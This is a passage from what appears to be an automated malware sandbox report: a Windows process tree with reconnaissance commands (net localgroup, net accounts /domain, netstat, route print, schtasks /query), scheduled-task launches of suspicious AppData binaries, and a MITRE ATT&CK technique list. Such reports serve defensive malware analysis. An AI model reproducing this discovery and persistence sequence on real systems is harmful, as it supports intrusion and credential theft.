  net localgroup
  2⤵
  PID:3644
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup
    3⤵
    PID:2112
- C:\Windows\system32\NETSTAT.EXE
  netstat -r
  2⤵
  - Gathers network information
  PID:2256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Windows\system32\route.exe" print
    3⤵
    PID:1208
- C:\Windows\system32\NETSTAT.EXE
  netstat -nao
  2⤵
  - Gathers network information
  PID:3996
- C:\Windows\system32\schtasks.exe
  schtasks /query
  2⤵
  PID:3696

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:1404

C:\Windows\system32\taskeng.exe
taskeng.exe {2BA27E88-F099-442D-90D4-659537BD4B3A} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
1⤵
PID:2380
- C:\Users\Admin\AppData\Roaming\jsehvir
  C:\Users\Admin\AppData\Roaming\jsehvir
  2⤵
  PID:3552
- C:\Users\Admin\AppData\Roaming\frehvir
  C:\Users\Admin\AppData\Roaming\frehvir
  2⤵
  PID:2356

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 accounts /domain
1⤵
PID:2300

C:\Windows\system32\ROUTE.EXE
C:\Windows\system32\route.exe print
1⤵
PID:2304

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
PID:2640
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2640 CREDAT:275457 /prefetch:2
  2⤵
  PID:4060

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:984

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
PID:1520
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef27a4f50,0x7fef27a4f60,0x7fef27a4f70
  2⤵
  PID:2568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1084 /prefetch:2
  2⤵
  PID:3828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1696 /prefetch:8
  2⤵
  PID:1688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1712 /prefetch:8
  2⤵
  PID:2164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1964 /prefetch:1
  2⤵
  PID:3448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1976 /prefetch:1
  2⤵
  PID:4076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2488 /prefetch:2
  2⤵
  PID:3100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2888 /prefetch:8
  2⤵
  PID:1728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2760 /prefetch:8
  2⤵
  PID:3836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3396 /prefetch:8
  2⤵
  PID:1844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3512 /prefetch:8
  2⤵
  PID:1704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3308 /prefetch:8
  2⤵
  PID:1192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2756 /prefetch:8
  2⤵
  PID:2608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2736 /prefetch:8
  2⤵
  PID:2648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3040 /prefetch:8
  2⤵
  PID:2188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3460 /prefetch:8
  2⤵
  PID:2580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3532 /prefetch:8
  2⤵
  PID:2616
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=772 /prefetch:8
  2⤵
  PID:3920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
  2⤵
  PID:3788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3548 /prefetch:1
  2⤵
  PID:3540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1072,4251528728268012800,5244476939446807606,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3544 /prefetch:8
  2⤵
  PID:3104

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1588

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2564

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3252

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3792

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1564

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2120

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2536

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1472

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:2116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery